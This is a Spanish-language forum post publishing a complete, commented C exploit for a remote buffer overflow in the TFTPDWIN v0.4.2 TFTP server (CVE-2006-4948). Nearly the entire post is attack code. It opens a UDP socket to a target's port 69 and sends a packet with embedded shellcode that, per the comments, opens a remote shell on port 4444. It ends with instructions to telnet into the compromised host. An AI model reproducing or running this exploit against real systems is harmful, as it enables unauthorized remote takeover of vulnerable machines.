Mostrando resultados del 1 al 1 de 1

Tema: Remote Buffer Overflow Exploit - TFTPDWin v0.4.2 by Socket_0x03

  1. #1
    Habitual Avatar de Socket_0x03
    Fecha de Ingreso
    mayo-2007
    Ubicación
    Ciberespacio
    Mensajes
    228
    Gracias obtenidos: 63

    Post Remote Buffer Overflow Exploit - TFTPDWin v0.4.2 by Socket_0x03

    Código:
    /*
    Exploit: Remote Buffer Overflow Exploit
    Application: ProSysInfo TFTPDWIN v0.4.2
    Attack: Remote Shell
    Exploit Author: Alvaro J. Gene (Socket_0x03)
    Credits: Discovery of this vulnerability is credited to Parvez Anwar.
    CVE: CVE-2006-4948
    */
    
    //El archivo de cabecera stdio para las funciones básicas de C:
    #include <stdio.h>
    //El archivo de cabecera winsock2.h para las funciones de sockets:	   
    #include <winsock2.h>  
    	   	   
    //Enlazando winsock2 a la librería wsock32.lib:	   	   
    #pragma comment(lib, "wsock32.lib")	  
    	   
    //La función Principal:
    int main(int argc, char *argv[]) {	   
    
        if (argc <= 1) {
    
    	printf("\n");   
    	printf("=========================================================\n");		
    	printf("===========[ Remote Buffer Overflow Exploit ]============\n");
    	printf("============[ Application: TFTPDWIN v0.4.2 ]=============\n");
    	printf("===============[ Attack: Remote Shell ]==================\n");
    	printf("=========================================================\n\n");
    
    	printf("Author: Alvaro J. Gene (Socket_0x03)\n");
    	printf("Website: www.teraexe.com\n");
    	printf("Email: Socket_0x03@teraexe.com\n\n");
    
    	printf("Uso: AGene_Exploit IP\n");
    	printf("Ejemplo: AGene_Exploit 192.168.1.100\n\n");
    
    	return 0;
    
    	}
    
    	else {
    
    	printf("\n");   
    	printf("=========================================================\n");		
    	printf("===========[ Remote Buffer Overflow Exploit ]============\n");
    	printf("============[ Application: TFTPDWIN v0.4.2 ]=============\n");
    	printf("===============[ Attack: Remote Shell ]==================\n");
    	printf("=========================================================\n\n");
    
    	printf("Author: Alvaro J. Gene (Socket_0x03)\n");
    	printf("Website: www.teraexe.com\n");
    	printf("Email: Socket_0x03@teraexe.com\n\n");
    
    	printf("Uso: AGene_Exploit IP\n");
    	printf("Ejemplo: AGene_Exploit 192.168.1.100\n\n");
    
    	/********************************************************************	   
    	**********************[ La Función WSASTartup ]**********************  
    	********************************************************************/	   
    	   
    	//La estructura WSADATA para almacenar datos de sockets en la variable AGene_WSA: 	   
    	WSADATA AGene_WSA;	   
    	   
    	//La función WSAStarup para comenzar a usar archivos de sockets (.dll).	   
    	//La palabra MAKEWORD para especificar la versión de los sockets.	   
    	int AGene_Result = WSAStartup(MAKEWORD(1,1), &AGene_WSA);	   
    	   
    	/*La función WSAStartup devolverá el valor de 0 si logra realizar 
    	su tarea; de lo contrario, la función devolverá el valor de 1.*/	   
    	if(AGene_Result == 0) {
    		
    		printf("WSASTartup se ha iniciado correctamente.\n");	   
    	}
    	   
    	else {
    		
    		printf("WSAStartup no se ha iniciado correctamente.\n");
    		
    		//La función WSACleanup para dejar de usar archivos de sockets (.dll, .lib).	   
    		WSACleanup();
    		
    		/*La función system realizará una pausa para que el usuario 
    		pueda ver la información anterior.*/
    		system("PAUSE");	   
    		return 0;	   
    	}	   
    	   
    	/********************************************************************	   
    	************************[ La función Socket ]************************	   
    	********************************************************************/	   
    	   
    	/*Declarando la variable AGene_Socket, la cual será usada en el futuro 
    	para crear un network socket*/ 	   
    	int AGene_Socket = NULL;	   
    	   
    	//Usando la función socket para construir un socket:	   
    	AGene_Socket = socket(AF_INET, SOCK_DGRAM, 0);	   
    	   
    	//Si existe algún error, la función socket devolverá invalid_socket:
    	if(AGene_Socket == INVALID_SOCKET) {
    		
    		printf("La funcion socket no se ha iniciado correctamente.\n");	   
    		
    		WSACleanup();	   
    		
    		system("PAUSE");	   
    		
    		return 0;	   
    	}
    	   
    	else {
    		
    		printf("La funcion socket se ha iniciado correctamente.\n");
    	}	   
    	   
    	/********************************************************************	   
    	********************[ La Estructura SOCKADDR_IN ]********************
    	********************************************************************/	   
    	   	
    	/* La estructura SOCKADDR_IN se usará para especificar un endpoint 
    	(punto final del canal de comunicación), el cual estará compuesto por 
    	un dominio de comunicación, una dirección IP, y un número de puerto.*/  
    	SOCKADDR_IN AGene_Socket_Address;	   
    	   	   
    	/*Usando el parámetro sin_family de la estructura SOCKADDR_IN 
    	para especificar un dominio de comunicación:*/	 
    	AGene_Socket_Address.sin_family = AF_INET;	   
    	
    	/*Usando el parámetro sin_port de la estructura SOCKADDR_IN 
    	para especificar un número de puerto:*/
    	AGene_Socket_Address.sin_port = htons(69);	      
    	
    	//Usando la estructura hostent para almacenar la dirección IP:
    	struct hostent *AGene_Target;
    
    	//Usando la función gethostbyname para almacenar la IP en AGene_Target:
    	AGene_Target = gethostbyname(argv[1]);
    
    	//Función memcpy para añadir la IP a la estructura SOCKADDR_IN
    	memcpy(&AGene_Socket_Address.sin_addr.s_addr, AGene_Target->h_addr, AGene_Target->h_length);	  
    	   
    	/********************************************************************	   
    	***********************[ La Función Connect ]************************
    	********************************************************************/	   
    	  
    	/*Declarando la variable AGene_C (C = Conectar), la cual será usada 
    	para conectar a un servidor.*/	   
    	int AGene_C = NULL;	   
    	   
    	//Usando la función connect para conectar a un servidor:
    	AGene_C = connect(AGene_Socket, (struct sockaddr *)&AGene_Socket_Address, sizeof(AGene_Socket_Address));	   
    	 
    	
    	/*La función connect va a devolver el valor de 0 si logra conectar con el 
    	servidor; de lo contrario, la función devolverá el valor de SOCKET_ERROR.*/	   
    	if(AGene_C == 0) {
    		
    		printf("El exploit ha logrado conectar con el servidor.\n\n");
    	}
    	   
    	else {
    		
    		printf("La funcion connect no funciona adecuadamente.\n");
    
    		WSACleanup();
    		
    		system("PAUSE");
    		
    		return 0;	   
    	}	  
    	   
    	/********************************************************************	   
    	*******************[ Enviando Datos al Servidor ]********************
    	********************************************************************/	   	   
    	   
    	/*Declarando la variable AGene_Info que almacenará los datos de una 
    	shellcode que abrirá el puerto 4444 (examinado en XP SP2).*/  	      
    	char AGene_Info[] = 
    	"\x00\x01\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    	"\x8b\xc3\x66\x05\x12\x01\x50\xc3"
    	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    	"\x90\x90\x90\x90\x90\x90\x90"
    	"\x59\x81\xc9\xd3\x62\x30\x20\x41\x43\x4d\x64"
    	"\x64\x99\x96\x8D\x7E\xE8\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C"
    	"\x8B\x09\x8B\x69\x08\xB6\x03\x2B\xE2\x66\xBA\x33\x32\x52\x68\x77"
    	"\x73\x32\x5F\x54\xAC\x3C\xD3\x75\x06\x95\xFF\x57\xF4\x95\x57\x60"
    	"\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF"
    	"\x47\x8B\x34\xBB\x03\xF5\x99\xAC\x34\x71\x2A\xD0\x3C\x71\x75\xF7"
    	"\x3A\x54\x24\x1C\x75\xEA\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B"
    	"\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3B\xF7\x75\xB4"
    	"\x5E\x54\x6A\x02\xAD\xFF\xD0\x88\x46\x13\x8D\x48\x30\x8B\xFC\xF3"
    	"\xAB\x40\x50\x40\x50\xAD\xFF\xD0\x95\xB8\x02\xFF\x11\x5c\x32\xE4"
    	"\x50\x54\x55\xAD\xFF\xD0\x85\xC0\x74\xF8\xFE\x44\x24\x2D\xFE\x44"
    	"\x24\x2c\x83\xEF\x6C\xAB\xAB\xAB\x58\x54\x54\x50\x50\x50\x54\x50"
    	"\x50\x56\x50\xFF\x56\xE4\xFF\x56\xE8\x90\x90\x90\x90\x90\x90\x90"
    	"\x42\xfb\x61\x40\x00\x6e\x65\x74\x61\x73\x63\x69\x69\x00";
    		
    	//La función send para enviar los datos al servidor:	   
    	send(AGene_Socket, AGene_Info, sizeof(AGene_Info), 0);	  
    
    	/********************************************************************	   
    	************************[ Cerrar y Limpiar ]*************************
    	********************************************************************/	   
    	   
    	/*La función shutdown para finalizar la transferencia de datos.
    	Primer parámetro: Se especifica un socket de internet.
    	Segundo parámetro: El valor SD_SEND para dejar de enviar datos.*/	   
    	shutdown(AGene_Socket, SD_SEND);
    	   
    	//La función closesocket para cerrar un network socket:
    	closesocket(AGene_Socket);
    
    	//La función WSACleanup para dejar de usar archivos de sockets (.dll, .lib).	   
    	WSACleanup();
    
    	printf("El exploit ha completado su funcionamiento.\n");
    	printf("Teclear: telnet + IP + Puerto.\n");
    	printf("Ejemplo: telnet 192.168.1.100 4444.\n");
    	   
    	/*La función system realizará una pausa para que el usuario 
    	pueda ver la información anterior.*/	   
    	system("PAUSE");
    	   
    	return 0;  
    	
    	}
    }


    Última edición por Socket_0x03; 08-jun-2018 a las 02:40
    [SOLO LOS USUARIOS REGISTRADOS PUEDEN VER LOS ENLACES. ]

  2. El Siguiente Usuario Agradeció a Socket_0x03 Por Este Mensaje:

    Dewdan (02-oct-2018)

Temas Similares

  1. [Remote]Green Dam 3.17 (URL) Remote Buffer Overflow Exploit (xp/sp2)
    By blood_rec in forum Directorio de Exploits
    Respuestas: 0
    Último mensaje: 23-jun-2009, 10:25
  2. FreeSSHd 1.2.1 (rename) Remote Buffer Overflow Exploit
    By Doddy in forum Directorio de Exploits
    Respuestas: 0
    Último mensaje: 05-abr-2009, 21:36
  3. Respuestas: 0
    Último mensaje: 02-mar-2009, 13:14
  4. WS_FTP Server v5.03 Remote buffer overflow Exploit
    By 4le3ek5 in forum Bug y Exploits
    Respuestas: 0
    Último mensaje: 12-dic-2004, 22:48
  5. eSignal 7.6 STREAMQUOTE Remote Buffer Overflow Exploit
    By Sonico in forum Bug y Exploits
    Respuestas: 0
    Último mensaje: 27-mar-2004, 14:04

Normas de Publicación

  • No puedes crear nuevos temas
  • No puedes responder mensajes
  • No puedes subir archivos adjuntos
  • No puedes editar tus mensajes
  •